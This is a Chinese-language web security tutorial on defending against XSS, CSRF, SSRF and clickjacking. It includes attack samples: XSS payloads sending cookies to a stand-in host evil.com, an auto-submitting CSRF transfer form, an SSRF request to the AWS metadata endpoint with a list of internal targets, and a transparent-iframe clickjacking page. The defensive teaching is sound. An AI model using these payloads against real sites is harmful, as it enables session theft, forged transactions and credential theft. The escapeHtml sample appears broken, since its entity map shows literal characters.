Web 安全攻防实战:XSS、CSRF、SSRF 与点击劫持的防御体系
前端工程(更新于 2026年6月2日)
Web 安全威胁全景
| 威胁 | 影响面 | 严重度 | 防御复杂度 |
|---|---|---|---|
| XSS | 数据窃取、会话劫持 | 高 | 中 |
| CSRF | 伪造操作、资金损失 | 高 | 低 |
| SSRF | 内网探测、服务攻击 | 高 | 中 |
| 点击劫持 | 诱导操作 | 中 | 低 |
一、XSS(跨站脚本攻击)
三种 XSS 类型
| 类型 | 注入点 | 持久性 | 典型场景 |
|---|---|---|---|
| 存储型 | 服务端存储 | 持久 | 评论区、用户昵称 |
| 反射型 | URL 参数 | 临时 | 搜索结果、错误提示 |
| DOM 型 | 客户端 JS | 临时 | URL hash、document.write |
存储型 XSS 攻击示例
<!-- 攻击者在评论区注入 -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
<!-- 或更隐蔽的 img 标签 -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
<!-- 或 SVG -->
<svg onload="fetch('https://evil.com/steal?c='+document.cookie)">
防御一:输出编码
function escapeHtml(str) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
};
return str.replace(/[&<>"']/g, (c) => map[c]);
}
// 使用
element.innerHTML = escapeHtml(userInput);
防御二:CSP(Content Security Policy)
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'
| 指令 | 含义 | 示例 |
|---|---|---|
default-src |
默认策略 | 'self' |
script-src |
JS 来源 | 'self' 'nonce-abc123' |
style-src |
CSS 来源 | 'self' 'unsafe-inline' |
img-src |
图片来源 | 'self' data: https: |
connect-src |
fetch/XHR 来源 | 'self' https://api.example.com |
frame-ancestors |
嵌套来源 | 'none' (防点击劫持) |
防御三:HttpOnly Cookie
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
HttpOnly 阻止 JS 通过 document.cookie 读取,即使 XSS 成功也无法窃取会话。
防御四:Trusted Types
// 启用 Trusted Types API
if (window.trustedTypes) {
trustedTypes.createPolicy('default', {
createHTML: (input) => DOMPurify.sanitize(input),
});
}
// 之后所有 innerHTML 赋值必须经过策略
element.innerHTML = userInput; // 如果没有策略,抛出错误
二、CSRF(跨站请求伪造)
攻击原理
<!-- 攻击者网站上的隐藏表单 -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>
用户已登录银行网站 → Cookie 自动携带 → 伪造请求成功。
防御一:SameSite Cookie
Set-Cookie: session=abc; SameSite=Strict
| 值 | 跨站请求携带 | 适用场景 |
|---|---|---|
Strict |
不携带 | 最安全,但从外部链接进入不带 Cookie |
Lax |
GET 请求携带 | 默认值,平衡安全与体验 |
None |
都携带 | 需配合 Secure,第三方场景 |
防御二:CSRF Token
// 服务端生成 Token
app.use((req, res, next) => {
req.csrfToken = crypto.randomBytes(32).toString('hex');
res.locals.csrfToken = req.csrfToken;
next();
});
// 表单中嵌入
// <input type="hidden" name="_csrf" value="${csrfToken}">
// 服务端验证
app.post('/transfer', (req, res) => {
if (req.body._csrf !== req.csrfToken) {
return res.status(403).send('CSRF token mismatch');
}
// 处理转账
});
防御三:双重 Cookie 验证
// 前端:从 Cookie 读取 CSRF Token,放入请求头
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': getCookie('csrfToken'),
},
body: JSON.stringify(data),
});
防御四:Origin/Referer 检查
app.use((req, res, next) => {
const origin = req.headers.origin || req.headers.referer;
if (origin && !origin.startsWith('https://example.com')) {
return res.status(403).send('Invalid origin');
}
next();
});
三、SSRF(服务端请求伪造)
攻击示例
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
169.254.169.254 是 AWS 元数据服务,攻击者可获取 IAM 凭证。
常见内网目标
| 地址 | 服务 | 可获取信息 |
|---|---|---|
169.254.169.254 |
AWS 元数据 | IAM 凭证、实例信息 |
100.100.100.200 |
阿里云元数据 | 安全凭证 |
metadata.google.internal |
GCP 元数据 | Service Account Token |
127.0.0.1:6379 |
Redis | 数据、配置 |
127.0.0.1:9200 |
Elasticsearch | 数据、集群信息 |
防御一:URL 白名单
const ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];
function validateUrl(inputUrl) {
const url = new URL(inputUrl);
if (!ALLOWED_DOMAINS.includes(url.hostname)) {
throw new Error('Domain not allowed');
}
if (url.protocol !== 'https:') {
throw new Error('Only HTTPS allowed');
}
// 阻止特殊 IP
if (/^(127\.|10\.|172\.(1[6-9]|2\d|3[01])\.|192\.168\.|0\.|169\.254\.)/.test(url.hostname)) {
throw new Error('Private IP not allowed');
}
return url;
}
防御二:DNS 重绑定防护
// 先解析 DNS,再验证 IP,再发起请求
async function safeFetch(inputUrl) {
const url = new URL(inputUrl);
const addresses = await dns.promises.resolve4(url.hostname);
for (const ip of addresses) {
if (isPrivateIP(ip)) throw new Error('Private IP resolved');
}
// 使用解析后的 IP 直接请求,避免 DNS 重绑定
return fetch(`https://${addresses[0]}${url.pathname}`, {
headers: { Host: url.hostname },
});
}
四、点击劫持(Clickjacking)
攻击原理
<!-- 攻击者网站 -->
<style>
iframe {
position: absolute;
top: 100px;
left: 200px;
opacity: 0.01; /* 几乎不可见 */
}
.decoy-button {
position: absolute;
top: 100px;
left: 200px;
}
</style>
<!-- 诱饵按钮 -->
<button class="decoy-button">点击领取优惠券</button>
<!-- 透明的目标网站 iframe -->
<iframe src="https://bank.com/transfer?to=attacker&amount=10000"></iframe>
用户以为点击"领取优惠券",实际点击了银行转账按钮。
防御一:X-Frame-Options
X-Frame-Options: DENY
| 值 | 含义 |
|---|---|
DENY |
任何页面都不能嵌入 |
SAMEORIGIN |
仅同源页面可嵌入 |
防御二:CSP frame-ancestors
Content-Security-Policy: frame-ancestors 'self' https://trusted-embedder.com;
frame-ancestors 是 X-Frame-Options 的现代替代,支持白名单。
防御三:JS 帧破坏
if (window.top !== window.self) {
window.top.location = window.self.location;
}
五、纵深防御体系
第1层:输入验证 —— 服务端校验所有输入
第2层:输出编码 —— 根据上下文转义
第3层:CSP 策略 —— 限制资源加载
第4层:Cookie 安全 —— HttpOnly + SameSite + Secure
第5层:CSRF Token —— 验证请求来源
第6层:Rate Limit —— 限制请求频率
第7层:WAF —— Web 应用防火墙
安全响应头完整配置
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx'; style-src 'self'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 0
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
#Web安全#XSS#CSRF#SSRF#点击劫持